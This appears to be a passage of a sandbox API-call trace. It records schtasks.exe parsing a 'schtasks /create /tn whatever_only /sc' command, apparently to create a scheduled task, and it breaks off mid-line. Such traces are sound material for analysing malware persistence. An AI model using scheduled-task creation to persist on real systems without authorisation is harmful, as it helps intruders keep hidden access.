[0127.052] VerQueryValueW (in: pBlock=0x12dd40, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc908, puLen=0xfc8f8 | out: lplpBuffer=0xfc908*=0x12df08, puLen=0xfc8f8) returned 1 [0127.052] lstrlenW (lpString="schtasks.exe") returned 12 [0127.052] lstrlenW (lpString="schtasks.exe") returned 12 [0127.052] lstrlenW (lpString=".EXE") returned 4 [0127.052] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0127.052] lstrlenW (lpString="schtasks.exe") returned 12 [0127.052] lstrlenW (lpString=".EXE") returned 4 [0127.052] lstrlenW (lpString="schtasks") returned 8 [0127.052] lstrlenW (lpString="/create") returned 7 [0127.053] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.053] _vsnwprintf (in: _Buffer=0x12bc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc878 | out: _Buffer="schtasks /create") returned 16 [0127.053] _memicmp (_Buf1=0x12ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.053] GetProcessHeap () returned 0x110000 [0127.053] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd70 [0127.053] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.053] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0127.053] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0127.053] GetProcessHeap () returned 0x110000 [0127.053] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x30) returned 0x127ab0 [0127.053] _vsnwprintf (in: _Buffer=0x12c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc878 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0127.053] GetProcessHeap () returned 0x110000 [0127.053] GetProcessHeap () returned 0x110000 [0127.053] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12dd40) returned 1 [0127.053] GetProcessHeap () returned 0x110000 [0127.053] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12dd40) returned 0x74e [0127.054] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12dd40 | out: hHeap=0x110000) returned 1 [0127.054] SetLastError (dwErrCode=0x0) [0127.054] GetThreadLocale () returned 0x409 [0127.054] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.054] lstrlenW (lpString="create") returned 6 [0127.054] GetThreadLocale () returned 0x409 [0127.054] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.054] lstrlenW (lpString="?") returned 1 [0127.054] GetThreadLocale () returned 0x409 [0127.054] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.054] lstrlenW (lpString="s") returned 1 [0127.054] GetThreadLocale () returned 0x409 [0127.054] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.054] lstrlenW (lpString="u") returned 1 [0127.054] GetThreadLocale () returned 0x409 [0127.054] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="p") returned 1 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="ru") returned 2 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="rp") returned 2 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="sc") returned 2 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="mo") returned 2 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="d") returned 1 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="m") returned 1 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="i") returned 1 [0127.055] GetThreadLocale () returned 0x409 [0127.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.055] lstrlenW (lpString="tn") returned 2 [0127.055] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="tr") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="st") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="sd") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="ed") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="it") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="et") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="k") returned 1 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="du") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.056] lstrlenW (lpString="ri") returned 2 [0127.056] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="z") returned 1 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="f") returned 1 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="v1") returned 2 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="xml") returned 3 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="ec") returned 2 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="rl") returned 2 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="delay") returned 5 [0127.057] GetThreadLocale () returned 0x409 [0127.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.057] lstrlenW (lpString="np") returned 2 [0127.057] SetLastError (dwErrCode=0x0) [0127.057] SetLastError (dwErrCode=0x0) [0127.057] lstrlenW (lpString="/create") returned 7 [0127.057] lstrlenW (lpString="-/") returned 2 [0127.057] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.057] lstrlenW (lpString="create") returned 6 [0127.057] lstrlenW (lpString="create") returned 6 [0127.058] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.058] lstrlenW (lpString="create") returned 6 [0127.058] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.058] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.058] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.058] lstrlenW (lpString="|create|") returned 8 [0127.058] lstrlenW (lpString="|create|") returned 8 [0127.058] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0127.058] SetLastError (dwErrCode=0x0) [0127.058] SetLastError (dwErrCode=0x0) [0127.058] SetLastError (dwErrCode=0x0) [0127.058] lstrlenW (lpString="/tn") returned 3 [0127.058] lstrlenW (lpString="-/") returned 2 [0127.058] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.058] lstrlenW (lpString="create") returned 6 [0127.058] lstrlenW (lpString="create") returned 6 [0127.058] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.058] lstrlenW (lpString="tn") returned 2 [0127.058] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.058] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.058] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.058] lstrlenW (lpString="|create|") returned 8 [0127.058] lstrlenW (lpString="|tn|") returned 4 [0127.058] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0127.058] SetLastError (dwErrCode=0x490) [0127.058] lstrlenW (lpString="?") returned 1 [0127.058] lstrlenW (lpString="?") returned 1 [0127.059] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] lstrlenW (lpString="tn") returned 2 [0127.059] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|?|") returned 3 [0127.059] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.059] lstrlenW (lpString="|?|") returned 3 [0127.059] lstrlenW (lpString="|tn|") returned 4 [0127.059] SetLastError (dwErrCode=0x490) [0127.059] lstrlenW (lpString="s") returned 1 [0127.059] lstrlenW (lpString="s") returned 1 [0127.059] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] lstrlenW (lpString="tn") returned 2 [0127.059] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|s|") returned 3 [0127.059] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.059] lstrlenW (lpString="|s|") returned 3 [0127.059] lstrlenW (lpString="|tn|") returned 4 [0127.059] SetLastError (dwErrCode=0x490) [0127.059] lstrlenW (lpString="u") returned 1 [0127.059] lstrlenW (lpString="u") returned 1 [0127.059] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] lstrlenW (lpString="tn") returned 2 [0127.059] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.059] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|u|") returned 3 [0127.059] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.060] lstrlenW (lpString="|u|") returned 3 [0127.060] lstrlenW (lpString="|tn|") returned 4 [0127.060] SetLastError (dwErrCode=0x490) [0127.060] lstrlenW (lpString="p") returned 1 [0127.060] lstrlenW (lpString="p") returned 1 [0127.060] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.060] lstrlenW (lpString="tn") returned 2 [0127.060] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.060] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|p|") returned 3 [0127.060] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.060] lstrlenW (lpString="|p|") returned 3 [0127.060] lstrlenW (lpString="|tn|") returned 4 [0127.060] SetLastError (dwErrCode=0x490) [0127.060] lstrlenW (lpString="ru") returned 2 [0127.060] lstrlenW (lpString="ru") returned 2 [0127.060] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.060] lstrlenW (lpString="tn") returned 2 [0127.060] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.060] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ru|") returned 4 [0127.060] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.060] lstrlenW (lpString="|ru|") returned 4 [0127.060] lstrlenW (lpString="|tn|") returned 4 [0127.060] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0127.060] SetLastError (dwErrCode=0x490) [0127.060] lstrlenW (lpString="rp") returned 2 [0127.060] lstrlenW (lpString="rp") returned 2 [0127.060] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] lstrlenW (lpString="tn") returned 2 [0127.061] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rp|") returned 4 [0127.061] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.061] lstrlenW (lpString="|rp|") returned 4 [0127.061] lstrlenW (lpString="|tn|") returned 4 [0127.061] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0127.061] SetLastError (dwErrCode=0x490) [0127.061] lstrlenW (lpString="sc") returned 2 [0127.061] lstrlenW (lpString="sc") returned 2 [0127.061] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] lstrlenW (lpString="tn") returned 2 [0127.061] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.061] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.061] lstrlenW (lpString="|sc|") returned 4 [0127.061] lstrlenW (lpString="|tn|") returned 4 [0127.061] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0127.061] SetLastError (dwErrCode=0x490) [0127.061] lstrlenW (lpString="mo") returned 2 [0127.061] lstrlenW (lpString="mo") returned 2 [0127.061] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] lstrlenW (lpString="tn") returned 2 [0127.061] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.061] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|mo|") returned 4 [0127.062] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.062] lstrlenW (lpString="|mo|") returned 4 [0127.062] lstrlenW (lpString="|tn|") returned 4 [0127.062] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0127.062] SetLastError (dwErrCode=0x490) [0127.062] lstrlenW (lpString="d") returned 1 [0127.062] lstrlenW (lpString="d") returned 1 [0127.062] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.062] lstrlenW (lpString="tn") returned 2 [0127.062] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.062] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|d|") returned 3 [0127.062] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.062] lstrlenW (lpString="|d|") returned 3 [0127.062] lstrlenW (lpString="|tn|") returned 4 [0127.062] SetLastError (dwErrCode=0x490) [0127.062] lstrlenW (lpString="m") returned 1 [0127.062] lstrlenW (lpString="m") returned 1 [0127.062] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.062] lstrlenW (lpString="tn") returned 2 [0127.062] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.062] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|m|") returned 3 [0127.062] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.062] lstrlenW (lpString="|m|") returned 3 [0127.062] lstrlenW (lpString="|tn|") returned 4 [0127.062] SetLastError (dwErrCode=0x490) [0127.062] lstrlenW (lpString="i") returned 1 [0127.062] lstrlenW (lpString="i") returned 1 [0127.063] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.063] lstrlenW (lpString="tn") returned 2 [0127.063] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.063] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|i|") returned 3 [0127.063] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.063] lstrlenW (lpString="|i|") returned 3 [0127.063] lstrlenW (lpString="|tn|") returned 4 [0127.063] SetLastError (dwErrCode=0x490) [0127.063] lstrlenW (lpString="tn") returned 2 [0127.063] lstrlenW (lpString="tn") returned 2 [0127.063] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.063] lstrlenW (lpString="tn") returned 2 [0127.063] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.063] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.063] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.063] lstrlenW (lpString="|tn|") returned 4 [0127.063] lstrlenW (lpString="|tn|") returned 4 [0127.063] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0127.063] SetLastError (dwErrCode=0x0) [0127.063] SetLastError (dwErrCode=0x0) [0127.063] lstrlenW (lpString="whatever_only") returned 13 [0127.063] lstrlenW (lpString="-/") returned 2 [0127.063] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0127.063] SetLastError (dwErrCode=0x490) [0127.063] SetLastError (dwErrCode=0x490) [0127.063] SetLastError (dwErrCode=0x0) [0127.063] lstrlenW (lpString="whatever_only") returned 13 [0127.064] StrChrIW (lpStart="whatever_only", wMatch=0x3a) returned 0x0 [0127.064] SetLastError (dwErrCode=0x490) [0127.064] SetLastError (dwErrCode=0x0) [0127.064] lstrlenW (lpString="whatever_only") returned 13 [0127.064] SetLastError (dwErrCode=0x0) [0127.064] SetLastError (dwErrCode=0x0) [0127.064] lstrlenW (lpString="/sc") returned 3 [0127.064] lstrlenW (lpString="-/") returned 2 [0127.064] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.064] lstrlenW (lpString="create") returned 6 [0127.064] lstrlenW (lpString="create") returned 6 [0127.064] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.064] lstrlenW (lpString="sc") returned 2 [0127.064] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.064] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.064] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.064] lstrlenW (lpString="|create|") returned 8 [0127.064] lstrlenW (lpString="|sc|") returned 4 [0127.064] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0127.064] SetLastError (dwErrCode=0x490) [0127.064] lstrlenW (lpString="?") returned 1 [0127.064] lstrlenW (lpString="?") returned 1 [0127.064] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.064] lstrlenW (lpString="sc") returned 2 [0127.064] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.064] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|?|") returned 3 [0127.064] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.065] lstrlenW (lpString="|?|") returned 3 [0127.065] lstrlenW (lpString="|sc|") returned 4 [0127.065] SetLastError (dwErrCode=0x490) [0127.065] lstrlenW (lpString="s") returned 1 [0127.065] lstrlenW (lpString="s") returned 1 [0127.065] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.065] lstrlenW (lpString="sc") returned 2 [0127.065] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.065] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|s|") returned 3 [0127.065] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.065] lstrlenW (lpString="|s|") returned 3 [0127.065] lstrlenW (lpString="|sc|") returned 4 [0127.065] SetLastError (dwErrCode=0x490) [0127.065] lstrlenW (lpString="u") returned 1 [0127.065] lstrlenW (lpString="u") returned 1 [0127.065] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.065] lstrlenW (lpString="sc") returned 2 [0127.065] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.065] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|u|") returned 3 [0127.065] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.065] lstrlenW (lpString="|u|") returned 3 [0127.065] lstrlenW (lpString="|sc|") returned 4 [0127.065] SetLastError (dwErrCode=0x490) [0127.065] lstrlenW (lpString="p") returned 1 [0127.065] lstrlenW (lpString="p") returned 1 [0127.065] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] lstrlenW (lpString="sc") returned 2 [0127.066] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|p|") returned 3 [0127.066] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.066] lstrlenW (lpString="|p|") returned 3 [0127.066] lstrlenW (lpString="|sc|") returned 4 [0127.066] SetLastError (dwErrCode=0x490) [0127.066] lstrlenW (lpString="ru") returned 2 [0127.066] lstrlenW (lpString="ru") returned 2 [0127.066] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] lstrlenW (lpString="sc") returned 2 [0127.066] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ru|") returned 4 [0127.066] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.066] lstrlenW (lpString="|ru|") returned 4 [0127.066] lstrlenW (lpString="|sc|") returned 4 [0127.066] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0127.066] SetLastError (dwErrCode=0x490) [0127.066] lstrlenW (lpString="rp") returned 2 [0127.066] lstrlenW (lpString="rp") returned 2 [0127.066] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] lstrlenW (lpString="sc") returned 2 [0127.066] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.066] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rp|") returned 4 [0127.066] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.066] lstrlenW (lpString="|rp|") returned 4 [0127.067] lstrlenW (lpString="|sc|") returned 4 [0127.067] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0127.067] SetLastError (dwErrCode=0x490) [0127.067] lstrlenW (lpString="sc") returned 2 [0127.067] lstrlenW (lpString="sc") returned 2 [0127.067] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.067] lstrlenW (lpString="sc") returned 2 [0127.067] _memicmp (_Buf1=0x12c200, 